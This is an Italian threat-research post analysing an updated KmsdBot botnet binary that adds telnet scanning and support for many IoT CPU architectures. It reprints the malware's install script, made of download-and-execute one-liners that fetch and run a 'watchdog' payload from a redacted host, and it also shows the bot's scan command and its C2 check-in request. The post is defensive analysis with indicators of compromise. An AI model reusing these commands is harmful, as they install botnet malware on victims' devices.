Vi serve il cloud computing? Iniziate subito

L'aggiornamento del codice binario Kmsdx mostra che KmsdBot sta prendendo di mira il panorama IoT

Larry Cashdollar

scritto da

Larry Cashdollar

August 15, 2023

Larry Cashdollar

scritto da

Larry Cashdollar

Larry W. Cashdollar lavora nel settore della sicurezza come ricercatore di vulnerabilità da oltre 18 anni ed è attualmente membro del Security Incident Response Team di Akamai Technologies. Ha studiato informatica presso la University of Southern Maine. Ha documentato più di 150 vulnerabilità dei software e ha presentato le sue ricerche al BSides di Boston, all'OWASP di Rhode Island e al Defcon. Gli piace passare il suo tempo libero all'aria aperta e restaurando motori per mini-bike.

Le attuali attività della campagna di malware KmsdBot indicano che i dispositivi IoT rimangono prevalenti e vulnerabili su Internet, il che li rende obiettivi interessanti per la creazione di una rete di sistemi infetti.

Editoriale e contributi aggiuntivi di Tricia Howard

Analisi riassuntiva

  • Il team SIRT (Security Intelligence Response Team) di Akamai ha continuato a seguire la campagna del malware KmsdBot, che ha rivelato un codice binario Kmsdx aggiornato che prende di mira i dispositivi IoT (Internet of Things).

  • Il codice binario include ora il supporto per la scansione telnet e il supporto per più architetture CPU, espandendo le sue capacità di attacco e la superficie di attacco.

  • Queste capacità aggiornate sono state notate solo a partire da metà luglio 2023.

  • Il malware prende di mira server di gioco privati, provider di hosting su cloud e alcuni siti governativi ed educativi.

  • La presenza e le attività del malware indicano che i dispositivi IoT vulnerabili continuano a rappresentare una minaccia significativa su Internet, rafforzando la necessità di misure di sicurezza e aggiornamenti regolari.

Indovinate un po' cos'è tornato?

Il SIRT di Akamai monitora la campagna della botnet Kmsdx da novembre 2022, e ora abbiamo una nuova evoluzione. Questa volta abbiamo scoperto un codice binario Ksmdx aggiornato con un'inclinazione IoT, che rappresenta una forte espansione delle capacità rispetto alle versioni precedenti.

Il fatto di aver iniziato a prendere di mira l'IoT ci fornisce anche alcune indicazioni sul comportamento del criminale e sul panorama in generale. Nonostante l'esistenza dell'IoT da diversi anni, insieme a molteplici attacchi su larga scala di tipoDDoS(Distributed Denial-of-Service) guidati dall'IoT, questa nuova evoluzione dimostra la vastità del panorama delle minacce ancora poste dall'IoT.

In questo post, esamineremo gli aggiornamenti del codice binario e rivedremo le sue tecniche di selezione degli obiettivi. Discuteremo, inoltre, dell'impatto di questa evoluzione.

KmsdBot prende di mira l'IoT

KmsdBot ha fatto un bel viaggio: dalla scoperta iniziale all'autore che lo ha fatto arrestare accidentalmente, fino al SIRT di Akamai che ha emulato il suo C2 (Command and Control). La nostra ricerca su questo malware in continua evoluzione è proseguita e ha portato a questa quarta versione: un codice binario Kmsdx aggiornato.

Questo codice binario è responsabile della scansione di indirizzi IP casuali alla ricerca di porte SSH aperte e del tentativo di accedere al sistema con un elenco di password scaricato dal server C2.

Il codice binario è stato aggiornato per includere il supporto della scansione telnet e la verifica dei servizi telnet legittimi. L'elenco dei codici binari di KmsdBot è cresciuto e adesso copre più architetture CPU comunemente presenti nei dispositivi IoT. Ne abbiamo parlato nel nel nostro primo post su questo malware come di una possibilità futura, dal momento che la struttura delle directory del server FTP indicava l'arrivo di un maggiore supporto per l'architettura CPU.

L'esempio sembra verificare la presenza di servizi telnet validi, determinando se viene ricevuto qualcosa dalla connessione iniziale sulla porta 23. Sembra verificare se quello in ascolto sulla porta 23 sia un servizio telnet valido e presenta un prompt, invece di disconnettersi semplicemente.

Nello pseudocodice generato nella Figura 1, main_isitfake è chiamato all'interno della funzione principale di scansione telnet.

Nello pseudocodice generato nella Figura 1, main_isitfake è chiamato all'interno della funzione principale di scansione telnet. Figura 1. Nello pseudocodice generato, main_telnet() chiama main_isitfake()

Se la verifica fallisce, finisce lì. Tuttavia, se riesce (restituisce false), procede all'esecuzione del payload dell'infezione.

Questa scansione IP, apparentemente semplice, ha in realtà una certa profondità (Figura 2). Questa verifica di legittimità è uno dei fattori che ci ha fatto intuire la possibilità che prendesse di mira i dispositivi IoT. Alcuni dispositivi IoT dispongono dell'ascolto di telnet e di un elenco di controllo degli accessi che interrompe la connessione se l'indirizzo IP non appartiene a uno spazio di indirizzi RFC 1918

Se non avete familiarità con l'RFC 1918, si intitola "Allocazione degli indirizzi per le reti Internet private" e descrive l'intervallo di indirizzi IP usati per le reti interne. Ad esempio, intervalli IP comuni usati per le reti domestiche sono 192.168.1.0/24 e 192.168.0.0/24.

La semplice scansione IP ha in realtà una certa profondità (Figura 2). Figura 2. È stato aggiunto altro codice per gestire la scansione telnet

Come lo scanner SSH, lo scanner telnet richiama una funzione che genera un indirizzo IP casuale. Quindi, tenta di connettersi alla porta 23 su quell'indirizzo IP. Tuttavia, lo scanner telnet non si limita semplicemente a decidere se la porta 23 è in ascolto o no, ma verifica che il buffer di ricezione contenga dei dati. Siamo riusciti a generare questo frammento di pseudocodice dal binario decompilato (Figura 3), che mostra come verifica che il buffer contenga dati (non nulli).

Siamo riusciti a generare questo frammento di pseudocodice dal binario decompilato (Figura 3), che mostra come verifica che il buffer contenga dati (non nulli). Figura 3. Pseudocodice che mostra il controllo di flusso della verifica del buffer

Pacchetto principale: /root/scan

File: main.go

Righe principali: da 11 a 48 (37)

Righe dello scanner: da 48 a 68 (20)

File: pma.go

Righe checkpma: da 13 a 79 (66)

Righe checkpmafunc1: da 68 a 72 (4)

Righe di verifica: da 79 a 114 (35)

File: ssh.go

Righe sshcheck: da 15 a 205 (190)

Righe di scansione: da 205 a 227 (22)

Righe scanfunc1: da 218 a 226 (8)

File: telnet.go

Righe scantelnet: da 11 a 41 (30)

Righe scantelnetfunc1: da 26 a 34 (8)

Righe telnet: da 41 a 85 (44)

Righe isitfake: da 85 a 120 (35)

File: utils.go

Righe randomIP: da 31 a 49 (18)

Righe portopen: da 49 a 82 (33)

Righe newpassword: da 82 a 92 (10)

Righe sendreq: da 92 a 104 (12)

Righe optimaltimeout: da 104 a 119 (15)

Righe nolimits: da 119 a 127 (8)

Righe osname: da 127 a 184 (57)

Righe getlistofdata: da 184 a 217 (33)

Righe choosedifficultyport: da 217 a 245 (28)

Righe workername: da 245 a 271 (26)

Righe randomwallet: da 271 a 274 (3)

Figura 4. Output redress che mostra il codice aggiunto per supportare la scansione del servizio telnet

L'impatto dell'aggiornamento

Sebbene alcuni degli aggiornamenti di KmsdBot non abbiano avuto molto successo, questa volta l'aggiornamento sembra essere riuscito. A parte l'aggiunta della funzionalità di verifica della scansione, ora sono supportate molte più architetture. Sono finiti i giorni in cui erano supportate solo Winx86, Arm64 e mips64, x86_64; come si può vedere dallo script di installazione ftp1.sh (Figura 5), ora sono disponibili molte altre architetture.

  #/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/386/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/amd64/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/arm/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/armv7l/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/arm64/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/ppc64/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/ppc64le/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/mips/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/mipsle/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/mips64/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/mips64le/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/s390x/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog

Figura 5. Script di installazione kmsd che mostra le architetture supportate

Sebbene kmsd sia in circolazione almeno da novembre 2022, la sua scansione della legittimità di telnet è piuttosto recente. Secondo i nostri registri di monitoraggio dei bot, la scansione del servizio telnet è iniziata il 16 luglio 2023.

Alla ricerca delle vittime

Telnet.txt (Figura 6) è il nome del file da scaricare con l'elenco delle credenziali per le varie applicazioni. Controllando i nostri registri, abbiamo trovato nomi di file come app, euro, euro2, euro3, euro4, lilstat, statistiche e utenti. I file contengono credenziali diverse per le varie applicazioni. Ad esempio, "app" contiene le possibili credenziali di accesso per applicazioni come Hadoop, Oracle, Elasticsearch e così via, mentre i file "euro" contengono credenziali per TeamSpeak, CentOS, Ubuntu e altre combinazioni di accesso.

!scan c2_ipadddress telnet telnet.txt kthread watchdog

Figura 6. comando bot per scaricare le credenziali e avviare la scansione

Come si può vedere nella Figura 7, il file di testo contiene un certo numero di password deboli comunemente utilizzate e alcune combinazioni di esse, come la stessa parola in casi diversi. Le credenziali elencate possono sembrare inefficaci: sono estremamente semplici e poco complesse, e si spera che non vengano utilizzate da un essere umano.

Tuttavia, se inseriamo il punto di vista dell'IoT, la cosa ha perfettamente senso. Molti dispositivi IoT vengono lasciati con le credenziali predefinite; in effetti, molte persone non esperte di tecnologia non sanno neanche che le credenziali possono essere modificate.

Come si può vedere nella Figura 6, il file di testo contiene un certo numero di password deboli comunemente utilizzate e alcune combinazioni di esse, come la stessa parola in casi diversi. Figura 7. Un elenco parziale delle credenziali scaricate viene memorizzato in telnet.txt

Separatamente dal comando bot di cui sopra, la riga di comando ./ksmdx telnet telnet.txt kthread watchdog farà sì che il codice binario ksmdx scarichi un elenco di credenziali telnet e inizi la scansione di indirizzi IP casuali per il servizio telnet. Lo scanner invierà quindi una richiesta POST alla porta 45833 chiamata "Bruh Started:" (Figura 8) che segnala al server C2 che la scansione è iniziata. 

  POST / HTTP/1.1
  Host: xxx.xxx.xxx.xxx:45833
  User-Agent: Go-http-client/1.1
  Content-Length: 14
  Content-Type: text/plain
  Accept-Encoding: gzip

  Bruh Started:

Figura 8. Richiesta POST che avvisa il criminale dell'avvio della scansione telnet

L'incoerenza della selezione degli obiettivi

La botnet continua a prendere di mira soprattutto i server di gioco privati e i fornitori di hosting su cloud, come ha sempre fatto; tuttavia, ogni fase di kmsd ha avuto alcuni obiettivi che sembravano fuori ambito. Questa volta sono stati attaccati alcuni siti governativi rumeni e alcune università spagnole.

L'incoerenza della selezione degli obiettivi è coerente con il comportamento dei criminali dietro kmsd, che probabilmente è un servizio di botnet a noleggio. Questi attacchi sono sferrati alle porte 80 e 443 con richieste HTTP POST e gli attacchi "bigdata" rimangono la scelta principale.

Indicatori di compromissione

66e0f3674a66647d5a9e23f47f889d4e3ad9b4a66db8f3def48d4675374d12f7 bins.sh

718fc249bcd6bc37ad229fb2d8c4037dc8dc8f4555d01934266d1a0c17d676cf watchdog.386

1f66675d2102e5d4ac89a239f9022c48b3bf23fe92dadb832d84e0eac6e476d6 watchdog.amd64

50afbf471a92acd1a0a6a2ffe199a52881eb80f683d95273302506194b2cd6ae watchdog.arm

812133033ba969731b66c63d5468556e42048bad396ef1026b5a91dda98bc289 watchdog.arm64

542791cf2dde1f449629b03ef95d3c2e0b2f98b1143d619232620d7c9459706c watchdog.mips

184f361bcf48265e74c31adee297b0cdfb1bbc39bc58f901c4ffdb69f6b589de watchdog.mips64

b09a3c2922ac519e76718c56763e39aece82c18556039be8547b166479f35555 watchdog.mips64le

b921f0de63ffae2865f5e1dbe8a52a1da505c902e2e4e2a96b85983029d311b5 watchdog.mipsle

b5eba1e7403e64559cfd40d56163ac31f3100d5e6e46be8fbb190cb82905528b watchdog.ppc64

c7a7a77343869f30004d02cba1bb24fd6c34770b40a19f37eb11c1b1d814446f watchdog.ppc64le

c8995af31396ef03270e847c1f40e1b860f3b838b7a6b0cde9decc2a3d01cad3 watchdog.s390x

d9a94d9ab91ae20cb91946f9c2513848844068914be3e9a6a5279b860febe2cc ksmdx

cad0ea256fc764f501da91c4e3b17bf08df7525d3dac376a1e23d3b40c60a7a1 download.php

803fb1cdeea499f9faaa0c95857d30d6be9d92fcce5dc176d5d3bac8d4f37eb3 ftp1.sh

733a3db1b54bac7ad8279b7b98be97833ee0e620b5be7db3159e178deb966e53 svhostb.exe

Conclusione

Le attuali attività della campagna di malware KmsdBot indicano che i dispositivi IoT rimangono prevalenti e vulnerabili su Internet, il che li rende obiettivi interessanti per la creazione di una rete di sistemi infetti.

Da un punto di vista tecnico, l'aggiunta di funzionalità di scansione telnet suggerisce un'espansione della superficie di attacco della botnet, che consente di colpire una gamma più ampia di dispositivi. Inoltre, con l'evoluzione del malware e l'aggiunta del supporto per altre architetture CPU, rappresenta una minaccia continua per la sicurezza dei dispositivi connessi a Internet. Questa espansione dimostra anche il successo della botnet: se non fosse efficace, i criminali non passerebbero il tempo ad aggiornarla così spesso (anche se ne hanno provocato accidentalmente l'arresto anomalo con uno degli aggiornamenti).

Da un punto di vista personale, questa scoperta sottolinea la necessità di misure di sicurezza solide e di aggiornamenti regolari per proteggersi da questi attacchi. Sottolinea anche l'esigenza di una maggiore formazione sull'IoT e sulle minacce che esso rappresenta per la persona o la famiglia media. Lo abbiamo visto più e più volte: un qualsiasi frigorifero può facilmente diventare un complice involontario di un attacco DDoS, probabilmente senza che il proprietario si renda conto che è in corso un attacco.

Tenetevi al passo

Uno degli obiettivi del SIRT di Akamai è analizzare e documentare l'evoluzione di botnet come KmsdBot e informare gli utenti di ciò che osserviamo. Per ulteriori ricerche sulla sicurezza in tempo reale, seguiteci su Twitter.



Larry Cashdollar

scritto da

Larry Cashdollar

August 15, 2023

Larry Cashdollar

scritto da

Larry Cashdollar

Larry W. Cashdollar lavora nel settore della sicurezza come ricercatore di vulnerabilità da oltre 18 anni ed è attualmente membro del Security Incident Response Team di Akamai Technologies. Ha studiato informatica presso la University of Southern Maine. Ha documentato più di 150 vulnerabilità dei software e ha presentato le sue ricerche al BSides di Boston, all'OWASP di Rhode Island e al Defcon. Gli piace passare il suo tempo libero all'aria aperta e restaurando motori per mini-bike.